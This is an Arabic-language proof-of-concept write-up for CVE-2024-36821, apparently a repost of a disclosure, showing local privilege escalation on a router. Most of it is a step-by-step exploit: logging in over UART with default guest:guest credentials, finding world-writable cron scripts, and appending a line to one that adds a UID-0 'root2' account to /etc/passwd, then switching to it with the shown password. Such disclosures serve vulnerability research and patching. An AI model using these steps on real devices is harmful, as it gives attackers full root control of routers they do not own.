CVE-2024-36821

المرجع العام الذي يحتوي على الحد الأدنى من المعلومات المطلوبة للثغرة التي يغطيها CVE-2024-36821

الفيديو الأصلي مع إثبات المفهوم (PoC) يمكنك العثور عليه على الفيديو -> https://www.youtube.com/watch?v=6vHno0ik7JY

إثبات المفهوم (PoC):

1. الاتصال بجهاز التوجيه عبر اتصال UART

2. باستخدام بيانات الاعتماد guest:guest، قم بتسجيل الدخول إلى النظام

3. باستخدام الأمر find / -perm -777 -type f 2>/dev/null، ابحث عن الملفات التي لديها أذونات القراءة والكتابة والتنفيذ:

   root@kitploit:~

   1. /tmp/cron/cron.daily/sysinfo_cleanup.sh
   2. /tmp/cron/cron.daily/devicedb_backup_daily.sh
   3. /tmp/cron/cron.hourly/sysinfo_cleanup.sh
   4. /tmp/cron/cron.every5minute/sysinfo_cleanup.sh
   5. /tmp/cron/cron.everyminute/conntrack_collector.sh
   

   

4. تحقق من المالك باستخدام الأمر ls -al /tmp/cron/cron.everyminute/conntrack_collector.sh

5. قم بتوليد كلمة المرور باستخدام الأمر openssl passwd Abracadabra

6. قم بتعديل /tmp/cron/cron.everyminute/conntrack_collector.sh، وأضف كلمة المرور الجديدة المُولّدة إلى النهاية:

   root@kitploit:~

   echo "root2:UlPYin76ss0w2:0:0::/:/bin/sh" >> /etc/passwd
   

   

7. انتظر لمدة دقيقة

8. بدّل المستخدم إلى root2 باستخدام الأمر التالي

   root@kitploit:~

   / $ su root2
   Password: Abracadabra
   ~ #